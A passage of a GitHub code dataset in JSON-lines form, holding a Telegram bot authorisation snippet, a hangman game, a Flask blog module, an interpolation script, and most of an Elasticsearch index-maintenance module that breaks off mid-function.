del_user(self, user_id: int):\n if user_id in self.users:\n self.users.remove(user_id)\n self.write_users()\n\n\ndef has_gpt_auth(client: Client, message: Message) -> bool:\n if message.from_user:\n user_id = message.from_user.id\n if user_id in gpt_auth.users:\n return True\n return False\n\n\nasync def ask_for_gpt_auth(client: Client, message: Message) -> Optional[Message]:\n if os.name == 'nt':\n # debugging\n return await message.reply_text(bot_debug_info, parse_mode=ParseMode.MARKDOWN, disable_web_page_preview=True)\n else:\n user_id = message.from_user.id\n reply_markup = InlineKeyboardMarkup([\n [InlineKeyboardButton('允许', callback_data=f'gpt_auth_{user_id}_y')],\n [InlineKeyboardButton('拒绝', callback_data=f'gpt_auth_{user_id}_n')]\n ])\n return await message.reply_text(gpt_auth_info, reply_markup=reply_markup)\n\n\ndef ensure_gpt_auth(func):\n async def wrapper(client: Client, message: Message):\n if has_gpt_auth(client, message):\n return await func(client, message)\n else:\n return await ask_for_gpt_auth(client, message)\n return wrapper\n\n\ngpt_auth = GPTAuth()\n","repo_name":"KumaTea/NextBot","sub_path":"gpt/auth.py","file_name":"auth.py","file_ext":"py","file_size_in_byte":2247,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"70177427561","text":"import os\r\nimport random\r\n\r\ndef select_words():\r\n words=[]\r\n with open(\"./data.txt\", \"r\", encoding=\"utf-8\") as f:\r\n words=[line.rstrip() for line in f] \r\n palabra=random.choice(words)\r\n acentos={\"á\":\"a\",\"é\":\"e\",\"í\":\"i\",\"ó\":\"o\",\"ú\":\"u\"}\r\n \r\n for acen in acentos:\r\n if acen in palabra:\r\n palabra=palabra.replace(acen, acentos[acen])\r\n return palabra\r\n \r\ndef hagman():\r\n palabra=select_words()\r\n list_=[]\r\n b=len(palabra)\r\n for n in range (b):\r\n list_.append(\"-\")\r\n\r\n list=[]\r\n for i in palabra:\r\n list.append(i)\r\n\r\n while \"-\" in list_:\r\n print(\"\\n \\n Juego del ahorcado, elige letra por letra para hallar la palabra!\")\r\n print(*list_, sep = \" \")\r\n \r\n letra=str(input(\"Ingresa una letra \",))\r\n z=palabra.count(letra)\r\n b=len(palabra)\r\n list_l=[]\r\n\r\n if letra in list:\r\n d=list.index(letra)\r\n list_l.append(d)\r\n if z >1:\r\n d=list.index(letra,d+1,b)\r\n list_l.append(d)\r\n\r\n for w in list_l:\r\n list_[w]=letra\r\n list_l.clear() \r\n os.system(\"cls\")\r\n\r\n palabra=palabra.upper()\r\n print(\"\\n \\n Ganaste! la palabra era: \", palabra)\r\n\r\nif __name__==\"__main__\":\r\n hagman()","repo_name":"araod14/Hangman","sub_path":"Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":1342,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"34444220944","text":"import re\nfrom flask import (\n Blueprint, render_template, request, flash, redirect, url_for, g, make_response\n)\nfrom flaskr.auth import login_required\nfrom flaskr.db import get_db, get_redis\nfrom werkzeug.exceptions import abort\n\nbp = Blueprint('blog', __name__)\n\ndef like(post, redis):\n post = dict(post)\n\n post_id = f\"post_{post['id']}\"\n post['total_post_like'] = redis.scard(post_id)\n post['the_user_like'] = redis.sismember(post_id, g.user['id']) if g.user is not None else False\n return post\n\ndef pre_body(post):\n post['body'] = re.sub(r\"[\\s+\\.\\!\\/_,$%^*(+\\\"\\']+|[+——！，。？、~@#￥%……&*<>]+\", \" \", post[\"body\"])\n return post\n\n@bp.route('/')\n@bp.route('/<int:cur_page>')\ndef index(cur_page=1, page_size=10):\n\n db = get_db()\n redis = get_redis()\n\n start_position = (cur_page-1)*page_size\n\n posts = db.execute(\n 'SELECT p.id, title, body, p.created, author_id, total_post_like, total_post_comment, username'\n ' FROM post p LEFT JOIN user u ON p.author_id = u.id'\n ' ORDER BY p.created DESC'\n ' LIMIT ?, ?',\n (start_position, page_size)\n ).fetchall()\n \n total_count = db.execute(\n 'SELECT COUNT(id) FROM post'\n ).fetchone()\n\n total_page = (total_count[0] // page_size) + 1\n\n posts = map(lambda x: like(x, redis), posts)\n posts = map(pre_body, posts)\n\n return render_template(\n 'blog/index.html', \n posts=posts, \n cur_page=cur_page, \n total_page=total_page)\n\n@bp.route('/create', methods=['GET', 'POST'])\n@login_required\ndef create():\n if request.method == 'POST':\n title = request.form['title']\n body = request.form['body']\n error = None\n\n if not title:\n error = 'Title is required.'\n\n if error is not None:\n flash(error)\n else:\n db = get_db()\n db.execute(\n 'INSERT INTO post (title, body, author_id)'\n ' VALUES (?, ?, ?)',\n (title, body, g.user['id'])\n )\n db.commit()\n return redirect(url_for('blog.index'))\n return render_template('blog/create.html')\n\ndef get_post(id, check_author=True):\n post = get_db().execute(\n 'SELECT p.id, title, body, created, author_id, total_post_like, total_post_comment, username'\n ' FROM post p JOIN user u ON p.author_id = u.id'\n ' WHERE p.id = ?',\n (id,)\n ).fetchone()\n\n if post is None:\n abort(404, f\"Post id {id} doesn`t exist.\")\n if check_author and post['author_id'] != g.user['id']:\n abort(403, f\"Author doesn`t right\")\n \n redis = get_redis()\n post = like(post, redis)\n \n return post\n\n@bp.route('/<int:id>/update', methods=['GET', 'POST'])\n@login_required\ndef update(id):\n post = get_post(id)\n\n if request.method == 'POST':\n title = request.form['title']\n body = request.form['body']\n error = None\n\n if not title:\n error = 'Title is required.'\n\n if error is not None:\n flash(error)\n else:\n db = get_db()\n db.execute(\n 'UPDATE post SET title = ?,body = ?'\n ' WHERE id = ?',\n (title, body, id)\n )\n db.commit()\n return redirect(url_for('blog.index'))\n return render_template('blog/update.html', post=post)\n\n@bp.route('/<int:id>/delete', methods=['POST'])\n@login_required\ndef delete(id):\n get_post(id)\n db = get_db()\n db.execute('DELETE FROM post WHERE id = ?', (id,))\n db.commit()\n return redirect(url_for('blog.index'))\n","repo_name":"fstcap/blog","sub_path":"flaskr/blog.py","file_name":"blog.py","file_ext":"py","file_size_in_byte":3631,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"70559907880","text":"import math\n\nx = [2, 2.05, 2.10, 2.15]\ny = [0.693, 0.718, 0.742, 0.765]\nn = len(x)\ndef gaussSolve (a, b):\n n = len(a)\n for pivot in range(n-1):\n for line in range(pivot+1, n):\n factor = a[line][pivot] / a[pivot][pivot]\n for element in range(n):\n a[line][element] -= a[pivot][element] * factor\n b[line] -= b[pivot] * factor\n \n x = [0] * n\n for i in range(n):\n index = n - i - 1\n sum = b[index]\n for j in range(index+1, n):\n sum -= x[j] * a[index][j]\n x[index] = sum / a[index][index]\n \n return x\nA = [[0 for x in range(n)] for y in range(n)]\n\nfor i in range(n):\n for j in range(n):\n A[i][j] = math.pow(x[i], j)\n\n\n\nresult = gaussSolve(A, y)\nprint (result)\n\n","repo_name":"gabrielmuller/calcnum","sub_path":"interp_direto.py","file_name":"interp_direto.py","file_ext":"py","file_size_in_byte":788,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"6219818347","text":"import json\nimport re\nimport threading\nimport time\n\nimport requests\nfrom common.base_crypt import BaseCrypt\nfrom common.log import logger\nfrom datahub.common.const import (\n ACTIONS,\n ADD,\n ALIAS,\n ALLOCATION,\n ANALYZED_FIELDS,\n CLUSTER_NAME,\n CLUSTER_TYPE,\n CONNECTION_INFO,\n DATE,\n DATE_FIELDS,\n DOC_VALUES,\n DOC_VALUES_FIELDS,\n DOUBLE,\n DTEVENTTIME,\n DTEVENTTIMESTAMP,\n ENABLE_REPLICA,\n ES,\n ES_CONF,\n ES_FIELDS,\n EXPIRES,\n FAILED,\n FALSE,\n FIELD_NAME,\n FIELD_TYPE,\n FIELDS,\n FLOAT,\n HAS_REPLICA,\n HOST,\n INCLUDE,\n INCLUDE_IN_ALL,\n INDEX,\n INDICES,\n INFO,\n INT,\n INTEGER,\n JSON_FIELDS,\n JSON_HEADERS,\n KEYWORD,\n LONG,\n MAPPINGS,\n NUMBER_OF_REPLICAS,\n OBJECT,\n ORDER,\n PASSWORD,\n PORT,\n PROPERTIES,\n REMOVE,\n RESULT_TABLE_ID,\n RESULT_TABLE_NAME,\n ROUTING,\n RT_CONF,\n RT_FIELDS,\n SAMPLE,\n SETTINGS,\n STATUS,\n STORAGE_CLUSTER,\n STORAGE_CONFIG,\n STORAGES,\n STORE_SIZE,\n STRING,\n SUCCESS,\n TAG,\n TEXT,\n TOP,\n TRUE,\n TYPE,\n USER,\n VERSION,\n)\nfrom datahub.storekit import model_manager, util\nfrom datahub.storekit.exceptions import (\n ClusterNotFoundException,\n EsBadIndexError,\n EsRestRequestError,\n RtStorageNotExistsError,\n)\nfrom datahub.storekit.settings import (\n AUTO_CREATE_FIELD,\n DOCS_LIMIT_PER_SHARD,\n ES_MAINTAIN_TIMEOUT,\n EXCLUDE_ES_CLUSTER,\n FORCE_SPLIT_DAYS,\n HAS_COLD_NODES,\n HOT_INDEX_SAVE_DAYS,\n HTTP_REQUEST_TIMEOUT,\n INDEX_SPLIT_THRESHOLD_IN_BYTE,\n INITIAL_SHARD_MAX_SIZE_IN_BYTE,\n INITIAL_SHARD_NUM,\n MAX_SHARD_NUM,\n NODE_HAS_TAG,\n REPLICA_NUM,\n RESERVED_INDEX_NUM,\n RTX_RECEIVER,\n RUN_VERSION,\n SKIP_ES_INDEX_PREFIX,\n SKIP_RT_FIELDS,\n TAG_COLD,\n TAG_HOT,\n TOTAL_SHARDS_PER_NODE,\n VERSION_IEOD_NAME,\n)\n\n\ndef initialize(rt_info):\n \"\"\"\n 初始化rt的es存储，包含创建索引、生成alias等操作\n :param rt_info: rt的字段和配置信息\n :return: 初始化操作结果\n \"\"\"\n return prepare(rt_info)\n\n\ndef info(rt_info):\n \"\"\"\n 获取rt的es存储相关信息，包含索引列表、别名列表等信息\n :param rt_info: rt的字段和配置信息\n :return: rt的es相关信息\n \"\"\"\n es = rt_info[STORAGES][ES]\n es[INFO] = {INDICES: [], MAPPINGS: {}, SETTINGS: {}, SAMPLE: {}}\n rt_id_lower = rt_info[RESULT_TABLE_ID].lower()\n # 获取索引列表，以及最新的索引的mapping\n es_addr, es_auth = parse_es_connection_info(rt_info[STORAGES][ES][STORAGE_CLUSTER][CONNECTION_INFO])\n # es中rt对应的索引命名规则为 rt_id + _ + yyyyMMdd + 编号，编号从00到99\n indices = _get_es_indices(es_addr, es_auth, rt_id_lower) # es中索引名称需为小写字母\n valid_rt_indices, _ = _get_valid_rt_indices(indices)\n if rt_id_lower in valid_rt_indices:\n es[INFO][INDICES] = valid_rt_indices[rt_id_lower]\n max_index_name = valid_rt_indices[rt_id_lower][0]\n es[INFO][MAPPINGS] = _get_index_mapping_from_es(es_addr, es_auth, max_index_name)\n es[INFO][SETTINGS] = _get_index_settings_from_es(es_addr, es_auth, max_index_name)\n es[INFO][SAMPLE] = _get_sample_data_from_es(es_addr, es_auth, max_index_name)\n\n return es\n\n\ndef alter(rt_info):\n \"\"\"\n 修改rt的es存储相关信息，有可能需要创建新的索引，以及别名指向\n :param rt_info: rt的字段和配置信息\n :return: rt的es存储的变更结果\n \"\"\"\n return prepare(rt_info)\n\n\ndef delete(rt_info):\n \"\"\"\n 删除rt的es存储相关配置，以及对应的索引和数据\n :param rt_info: rt的字段和配置信息\n :return: rt的es存储清理结果\n \"\"\"\n rt_id_lower = rt_info[RESULT_TABLE_ID].lower()\n es_addr, es_auth = parse_es_connection_info(rt_info[STORAGES][ES][STORAGE_CLUSTER][CONNECTION_INFO])\n\n # es中rt对应的索引命名规则为 rt_id + _ + yyyyMMdd + 编号，编号从00到99\n indices = _get_es_indices(es_addr, es_auth, rt_id_lower) # es中索引名称需为小写字母\n valid_rt_indices, _ = _get_valid_rt_indices(indices)\n if rt_id_lower in valid_rt_indices:\n logger.info(f\"{es_addr}: going to delete indices {valid_rt_indices[rt_id_lower]}\")\n _delete_index(es_addr, es_auth, \",\".join(valid_rt_indices[rt_id_lower]))\n\n return True\n\n\ndef prepare(rt_info, force_create=False, force_shard_num=INITIAL_SHARD_NUM):\n \"\"\"\n 准备rt的es存储，这里可能是初始化，或者schema变化后的创建，或者不需要做任何事情\n :param force_shard_num: 强制分裂时指定分片数\n :param rt_info: rt的字段和配置信息\n :param force_create: 强制创建新索引\n :return: rt的es存储准备的结果\n \"\"\"\n # 获取es集群的信息\n rt_id_lower = rt_info[RESULT_TABLE_ID].lower()\n conn_info = rt_info[STORAGES][ES][STORAGE_CLUSTER][CONNECTION_INFO]\n es_addr, es_auth = parse_es_connection_info(conn_info)\n\n # es中rt对应的索引命名规则为 rt_id + _ + yyyyMMdd + 编号，编号从00到99\n indices = _get_es_indices(es_addr, es_auth, rt_id_lower) # es中索引名称需为小写字母\n valid_rt_indices, _ = _get_valid_rt_indices(indices)\n\n new_index_name = _get_new_index_name(rt_id_lower) # 默认新建的索引名称\n shard, init_shard_size, max_shard_num, shard_docs_limit, total_shards_per_node = _get_init_shard_param(\n conn_info\n ) # 默认按照最小的分片数量创建\n need_create_index = False # 默认无需创建索引\n\n if rt_id_lower in indices:\n # 不合法的索引名称，此时需要通知管理员手动处理这种场景\n msg = f\"{es_addr}: unable to create index for {rt_id_lower} as index name is the same as alias\"\n logger.warning(msg)\n util.wechat_msg(RTX_RECEIVER, msg)\n raise EsBadIndexError(message_kv={\"msg\": rt_id_lower})\n elif rt_id_lower in valid_rt_indices:\n # rt对应的索引已经存在，对比是否发生schema变化，如果有变化，则新创建索引\n max_index_name = valid_rt_indices[rt_id_lower][0]\n json_mapping = _get_index_mapping_from_es(es_addr, es_auth, max_index_name)\n logger.info(f\"{es_addr}: {rt_id_lower} mapping in {max_index_name} is {json.dumps(json_mapping)}\")\n new_index_name = _get_new_index_name(rt_id_lower, max_index_name)\n current_replica = _get_index_replica(es_addr, es_auth, max_index_name)\n if _is_schema_changed(rt_info, json_mapping) or _is_replica_changed(rt_info, current_replica):\n need_create_index = True\n index_size = _get_index_size(es_addr, es_auth, max_index_name)\n shard = shard if index_size < init_shard_size else max_shard_num\n else:\n logger.info(f\"{es_addr}: schema unchanged for {rt_id_lower}, use {max_index_name}\")\n else:\n need_create_index = True # rt对应的索引不存在，需要创建\n\n if need_create_index or force_create:\n shard = force_shard_num if force_create else shard\n mapping = _construct_mapping(rt_info, shard, TAG_HOT, total_shards_per_node)\n logger.info(f\"{es_addr}: {rt_id_lower} create index {new_index_name} with mapping {mapping}\")\n return _create_es_index_in_cluster(rt_id_lower, es_addr, es_auth, new_index_name, mapping)\n\n return True\n\n\ndef check_schema(rt_info):\n \"\"\"\n 对比rt的schema和es中索引的schema，找出不一致的地方。rt字段类型有int/long/double/string，\n es中有text/keyword/integer/long/double/object等\n :param rt_info: rt的配置信息\n :return: schema不一致的地方\n \"\"\"\n result = {RT_CONF: {}, RT_FIELDS: {}, ES_CONF: {}, ES_FIELDS: {}}\n # 获取es集群的信息\n rt_id_lower = rt_info[RESULT_TABLE_ID].lower()\n es_addr, es_auth = parse_es_connection_info(rt_info[STORAGES][ES][STORAGE_CLUSTER][CONNECTION_INFO])\n result[RT_CONF] = _trans_fields_to_es_conf(rt_info[FIELDS], json.loads(rt_info[STORAGES][ES][STORAGE_CONFIG]))\n for field in rt_info[FIELDS]:\n result[RT_FIELDS][field[FIELD_NAME]] = field[FIELD_TYPE]\n\n # es中rt对应的索引命名规则为 rt_id + _ + yyyyMMdd + 编号，编号从00到99\n indices = _get_es_indices(es_addr, es_auth, rt_id_lower) # es中索引名称需为小写字母\n valid_rt_indices, _ = _get_valid_rt_indices(indices)\n if rt_id_lower in valid_rt_indices:\n max_index_name = valid_rt_indices[rt_id_lower][0]\n json_mapping = _get_index_mapping_from_es(es_addr, es_auth, max_index_name)\n\n version = rt_info[STORAGES][ES][STORAGE_CLUSTER][VERSION]\n index_type = rt_info[RESULT_TABLE_NAME].lower() # index_type即为rt的result_table_name字段\n properties = json_mapping if _extract_big_version(version) >= 7 else json_mapping[index_type]\n result[ES_CONF] = _trans_mapping_to_es_conf(properties, version)\n\n field_props = properties[PROPERTIES]\n for field in field_props:\n result[ES_FIELDS][field] = field_props[field][TYPE]\n\n return result\n\n\ndef maintain(rt_info):\n \"\"\"\n 维护rt的es存储，按照规则新建es的索引，对索引增加别名，切换别名指向等等。\n :param rt_info: rt的字段和配置信息\n :return: 维护rt的es存储的结果\n \"\"\"\n rt_id_lower = rt_info[RESULT_TABLE_ID].lower()\n es_addr, es_auth = parse_es_connection_info(rt_info[STORAGES][ES][STORAGE_CLUSTER][CONNECTION_INFO])\n\n # es中rt对应的索引命名规则为 rt_id + _ + yyyyMMdd + 编号，编号从00到99\n indices = _get_es_indices(es_addr, es_auth, rt_id_lower) # es中索引名称需为小写字母\n valid_rt_indices, _ = _get_valid_rt_indices(indices)\n if rt_id_lower in valid_rt_indices:\n _maintain_rt_indices(rt_info, valid_rt_indices[rt_id_lower], es_addr, es_auth)\n\n return True\n\n\ndef maintain_all_rts():\n \"\"\"\n 维护系统中所有rt的es存储\n :return: 维护所有rt的es存储的结果\n \"\"\"\n # 获取所有es集群信息，排除非用户数据的es集群\n es_clusters = model_manager.get_cluster_objs_by_type(ES)\n # 按照es集群并发执行，以便加速维护任务，现网每天第一次执行涉及很多索引创建，需耗时2小时左右。\n check_threads = []\n for es_cluster in es_clusters:\n if es_cluster.cluster_name in EXCLUDE_ES_CLUSTER:\n continue # 跳过非用户数据的es集群\n\n # 获取es集群中的索引列表\n es_addr, es_auth = parse_es_connection_info(es_cluster.connection_info)\n check_cluster_thread = threading.Thread(\n target=_maintain_es_cluster, name=es_cluster.cluster_name, args=(es_cluster.cluster_name, es_addr, es_auth)\n )\n\n # 设置线程为守护线程，主线程结束后，结束子线程\n check_cluster_thread.setDaemon(True)\n\n check_threads.append(check_cluster_thread)\n check_cluster_thread.start()\n\n # join所有线程，等待所有集群检查都执行完毕\n # 设置超时时间，防止集群出现问题，一直阻塞，导致后续集群维护任务等待\n for th in check_threads:\n th.join(timeout=ES_MAINTAIN_TIMEOUT)\n\n return True\n\n\ndef clusters():\n \"\"\"\n 获取es存储集群列表\n :return: es存储集群列表\n \"\"\"\n result = model_manager.get_storage_cluster_configs_by_type(ES)\n return result\n\n\ndef get_cluster_info(es_addr, es_auth):\n \"\"\"\n 获取es索引的settings设置\n :param es_addr: es集群地址\n :param es_auth: es鉴权信息\n :return: es集群信息\n \"\"\"\n res = requests.get(f\"http://{es_addr}/_cluster/stats\", auth=es_auth, timeout=HTTP_REQUEST_TIMEOUT)\n if res.status_code == 200:\n return res.json()\n else:\n logger.warning(f\"{es_addr}: get es cluster info failed. {res.status_code} {res.text}\")\n raise EsRestRequestError(message_kv={\"msg\": res.text})\n\n\ndef parse_es_connection_info(connection_info):\n \"\"\"\n 解析es集群的连接串，将es集群地址和鉴权信息返回\n :param connection_info: es集群的连接串配置\n :return: 元组，包含es集群地址和鉴权信息。\n \"\"\"\n es_conn = json.loads(connection_info)\n es_addr = f\"{es_conn[HOST]}:{es_conn[PORT]}\"\n if es_conn[\"enable_auth\"]:\n es_conn[PASSWORD] = BaseCrypt.bk_crypt().decrypt(es_conn[PASSWORD])\n es_auth = (es_conn[USER], es_conn[PASSWORD])\n return es_addr, es_auth\n\n\ndef _get_init_shard_param(connection_info):\n \"\"\"\n 解析es集群的连接串，将es集群的初始shard数返回\n :param connection_info: es集群的连接串配置\n :return: 初始shard数。\n \"\"\"\n es_conn = json.loads(connection_info)\n init_shard_num = es_conn.get(\"init_shard_num\", INITIAL_SHARD_NUM)\n init_shard_size = es_conn.get(\"init_shard_size\", INITIAL_SHARD_MAX_SIZE_IN_BYTE)\n max_shard_num = es_conn.get(\"max_shard_num\", MAX_SHARD_NUM)\n shard_docs_limit = (\n es_conn[\"shard_docs_limit\"]\n if (\"shard_docs_limit\" in es_conn and es_conn[\"shard_docs_limit\"] < DOCS_LIMIT_PER_SHARD)\n else DOCS_LIMIT_PER_SHARD\n )\n total_shards_per_node = es_conn.get(\"total_shards_per_node\", TOTAL_SHARDS_PER_NODE)\n return init_shard_num, init_shard_size, max_shard_num, shard_docs_limit, total_shards_per_node\n\n\ndef _get_hot_save_days(connection_info):\n \"\"\"\n 解析es集群的连接串，将es集群的热索引保留天数返回\n :param connection_info: es集群的连接串配置\n :return: 热索引保留天数。\n \"\"\"\n es_conn = json.loads(connection_info)\n hot_save_days = es_conn[\"hot_save_days\"] if \"hot_save_days\" in es_conn else HOT_INDEX_SAVE_DAYS\n return hot_save_days\n\n\ndef _get_has_cold_nodes(connection_info):\n \"\"\"\n 解析es集群的连接串，获取集群是否有冷节点\n :param connection_info: es集群的连接串配置\n :return: 集群是否有冷节点。\n \"\"\"\n es_conn = json.loads(connection_info)\n has_cold_nodes = es_conn.get(\"has_cold_nodes\", HAS_COLD_NODES)\n return has_cold_nodes\n\n\ndef _get_split_index_condition(connection_info):\n \"\"\"\n 解析es集群的连接串，将es集群的index分裂条件返回\n :param connection_info: es集群的连接串配置\n :return: 索引的分裂条件。\n \"\"\"\n es_conn = json.loads(connection_info)\n index_split_threshold_in_byte = (\n es_conn[\"index_split_threshold_in_byte\"]\n if \"index_split_threshold_in_byte\" in es_conn\n else INDEX_SPLIT_THRESHOLD_IN_BYTE\n )\n force_split_days = es_conn[\"force_split_days\"] if \"force_split_days\" in es_conn else FORCE_SPLIT_DAYS\n return index_split_threshold_in_byte, force_split_days\n\n\ndef _maintain_es_cluster(es_cluster_name, es_addr, es_auth):\n \"\"\"\n 维护指定的es集群中的索引列表\n :param es_cluster_name: es集群名称\n :param es_addr: es集群地址\n :param es_auth: es鉴权信息\n \"\"\"\n # 获取es集群中的索引列表\n indices = _get_es_indices(es_addr, es_auth)\n valid_rt_indices, bad_indices = _get_valid_rt_indices(indices)\n if bad_indices:\n logger.info(f\"{es_addr}: bad indices {json.dumps(bad_indices)}\")\n\n maintain_failed = []\n # 逐个rt进行维护，需注意rt是否还包含es存储，且存储的集群没有发生切换\n logger.info(f\"{es_addr}: es maintain started for {es_cluster_name}\")\n for rt_id_lower, sort_index_list in list(valid_rt_indices.items()):\n try:\n rt_info = util.get_rt_info(rt_id_lower)\n if rt_info and ES in rt_info[STORAGES]:\n rt_es_cluster_name = rt_info[STORAGES][ES][STORAGE_CLUSTER][CLUSTER_NAME]\n if rt_es_cluster_name != es_cluster_name:\n logger.warning(\n f\"{es_addr}: rt es cluster changed to {rt_es_cluster_name}, unable to maintain \"\n f\"{json.dumps(sort_index_list)}\"\n )\n else:\n _maintain_rt_indices(rt_info, sort_index_list, es_addr, es_auth)\n else:\n # 如果rt删除了es节点，那么这段废弃数据将永远不会被删除\n raise RtStorageNotExistsError(message_kv={RESULT_TABLE_ID: rt_id_lower, TYPE: ES})\n except Exception:\n logger.warning(f\"{es_addr}: failed to maintain indices {json.dumps(sort_index_list)}.\", exc_info=True)\n maintain_failed.append(sort_index_list)\n logger.info(\n f\"{es_addr}: es maintain finished for {len(list(valid_rt_indices.keys()))} rts, failed are \"\n f\"{json.dumps(maintain_failed)}\"\n )\n\n\ndef _maintain_rt_indices(rt_info, sort_index_list, es_addr, es_auth):\n \"\"\"\n 维护rt对应的索引列表\n :param rt_info: rt的配置信息\n :param sort_index_list: rt的es索引列表，倒序排列\n :param es_addr: es集群地址\n :param es_auth: es鉴权信息\n :return: 维护结果\n \"\"\"\n rt_id_lower = rt_info[RESULT_TABLE_ID].lower()\n logger.info(f\"{es_addr}: going to maintain indices {json.dumps(sort_index_list)}\")\n # 保留至少1个索引，删除超出过期时间所有索引，维护索引别名\n indices_to_delete = _expired_index_list(rt_id_lower, rt_info[STORAGES][ES][EXPIRES], sort_index_list)\n if indices_to_delete:\n logger.info(f\"{es_addr}: going to delete indices {json.dumps(indices_to_delete)}\")\n _delete_index(es_addr, es_auth, \",\".join(indices_to_delete))\n\n # 判断是否需要分裂（500G，或者7天，或者docs超出限制）\n max_index_name = sort_index_list[0]\n index_size = _get_index_size(es_addr, es_auth, max_index_name)\n # 无论是否需要分裂索引，都需要在当前最大索引上加上当天的别名指向，因为部分当天的日志已写入此索引\n _alias_update(es_addr, es_auth, rt_id_lower, max_index_name)\n conn_info = rt_info[STORAGES][ES][STORAGE_CLUSTER][CONNECTION_INFO]\n shard, init_shard_size, max_shard_num, shard_docs_limit, total_shards_per_node = _get_init_shard_param(conn_info)\n\n # 获取index 主分片数和docs\n pri_shard_num, docs = _get_es_index_pri_docs(es_addr, es_auth, max_index_name)\n if _index_need_splitting(max_index_name, index_size, conn_info, pri_shard_num, docs, shard_docs_limit):\n new_index_name = _get_new_index_name(rt_id_lower, max_index_name)\n num_shards = shard if index_size < init_shard_size else max_shard_num\n mapping = _construct_mapping(rt_info, num_shards, TAG_HOT, total_shards_per_node)\n logger.info(f\"{es_addr}: {rt_id_lower} create index {new_index_name} with mapping {mapping}\")\n # 创建索引，同时挂载别名\n _create_es_index_in_cluster(rt_id_lower, es_addr, es_auth, new_index_name, mapping)\n\n # 海外版不存在冷节点，内部版有冷热节点，通过变量控制不同版本\n if _get_has_cold_nodes(conn_info):\n # 将过期的索引放入冷节点\n cold_sort_index_list = sort_index_list[1:]\n hot_index_date = util.get_date_by_diff(1 - _get_hot_save_days(conn_info)) # yyyyMMdd\n for one_index in cold_sort_index_list:\n # 保证当天的索引保持原样，跳过将其转到冷节点的逻辑 yyyyMMdd01\n if one_index in indices_to_delete or int(hot_index_date) <= int(one_index.split(\"_\")[-1][0:8]):\n continue\n else:\n allocation_tag = _get_index_allocation_tag(es_addr, es_auth, one_index)\n # 把索引tag属性不是cold的索引修改为cold\n if allocation_tag != TAG_COLD:\n logger.info(f\"{es_addr}: going to move index {one_index} to cold tag\")\n # 设置冷节点单节点分片数\n settings = {\n \"index.routing.allocation.include.tag\": TAG_COLD,\n \"index.routing.allocation.total_shards_per_node\": (REPLICA_NUM + 1) * max_shard_num,\n }\n _put_index_settings(es_addr, es_auth, one_index, settings)\n\n\ndef _create_es_index_in_cluster(rt, es_addr, es_auth, index_name, index_mapping_str):\n \"\"\"\n 在es集群中创建索引\n :param rt: rt名称\n :param es_addr: es集群地址\n :param es_auth: es集群鉴权\n :param index_name: 索引名称\n :param index_mapping_str: 索引的mapping\n :return: 是否创建成功\n \"\"\"\n res = requests.put(\n url=f\"http://{es_addr}/{index_name}?master_timeout=240s\",\n json=json.loads(index_mapping_str),\n headers=JSON_HEADERS,\n auth=es_auth,\n timeout=600,\n )\n if res.status_code == 200:\n alias = rt.lower()\n # TODO 需要校验索引已经存在了，能被rest接口查询到\n if _alias_update(es_addr, es_auth, alias, index_name):\n # alias更新是异步操作，这里需要验证alias真的已经指向到新的index上，最多等待90s\n reties = 15\n while not _is_alias_point_to_index(es_addr, es_auth, alias, index_name) and reties > 0:\n time.sleep(6)\n reties -= 1\n if reties == 0:\n _delete_index(es_addr, es_auth, index_name)\n logger.warning(f\"{es_addr}: update alias timeout for {rt}, delete the index {index_name}\")\n else:\n logger.info(f\"{es_addr}: create index {index_name} and update alias success for {rt}\")\n return True\n else:\n _delete_index(es_addr, es_auth, index_name)\n logger.warning(f\"{es_addr}: update alias failed for {rt}, delete the index {index_name}\")\n else:\n # 创建es mapping失败，需要告警出来\n msg = f\"{es_addr}: failed to create index {index_name} for {rt}. {res.status_code} {res.text}\"\n logger.warning(msg)\n util.wechat_msg(RTX_RECEIVER, msg)\n\n return False\n\n\ndef _alias_update(es_addr, es_auth, alias, max_index_name):\n \"\"\"\n 获取别名（rt）指向的index名称和当日alias指向的index名称，如果和传入的索引相同，则无需修改别名\n :param es_addr: es集群地址\n :param es_auth: es鉴权信息\n :param alias: es索引的默认别名\n :param max_index_name: 当前最大的索引名称\n :return: 更新别名的结果，True/False\n \"\"\"\n today = alias + \"_\" + util.get_date_by_diff(0)\n tomorrow = alias + \"_\" + util.get_date_by_diff(1)\n near_tomorrow = util.is_near_tomorrow()\n # 如果时间接近明天，则增加明天的日期作为别名\n if near_tomorrow:\n alias_ret = requests.get(\n url=f\"http://{es_addr}/_alias/{alias},{today},{tomorrow}\",\n auth=es_auth,\n timeout=HTTP_REQUEST_TIMEOUT,\n )\n else:\n alias_ret = requests.get(\n url=f\"http://{es_addr}/_alias/{alias},{today}\", auth=es_auth, timeout=HTTP_REQUEST_TIMEOUT\n )\n\n action = {ACTIONS: []}\n # 判断当前索引的别名，增加缺失的别名\n if alias_ret.status_code == 200 and max_index_name in alias_ret.json():\n alias_list = list(alias_ret.json()[max_index_name][\"aliases\"].keys())\n if alias not in alias_list:\n action[ACTIONS].append({REMOVE: {INDEX: f\"{alias}_20*\", ALIAS: alias}})\n action[ACTIONS].append({ADD: {INDEX: max_index_name, ALIAS: alias}})\n if today not in alias_list:\n action[ACTIONS].append({ADD: {INDEX: max_index_name, ALIAS: today}})\n if near_tomorrow and tomorrow not in alias_list:\n action[ACTIONS].append({ADD: {INDEX: max_index_name, ALIAS: tomorrow}})\n else:\n action[ACTIONS].append({REMOVE: {INDEX: f\"{alias}_20*\", ALIAS: alias}})\n action[ACTIONS].append({ADD: {INDEX: max_index_name, ALIAS: alias}})\n action[ACTIONS].append({ADD: {INDEX: max_index_name, ALIAS: today}})\n if near_tomorrow:\n action[ACTIONS].append({ADD: {INDEX: max_index_name, ALIAS: tomorrow}})\n\n if action[ACTIONS]:\n action = json.dumps(action)\n logger.info(f\"{es_addr}: change alias for {max_index_name} {action}\")\n # 修改别名的指向，原子操作\n res = requests.post(\n url=f\"http://{es_addr}/_aliases?master_timeout=240s\",\n data=action,\n headers=JSON_HEADERS,\n auth=es_auth,\n timeout=600,\n )\n if res.status_code != 200:\n logger.warning(f\"{es_addr}: change alias failed {action}. {res.status_code} {res.text}\")\n return False\n\n return True\n\n\ndef 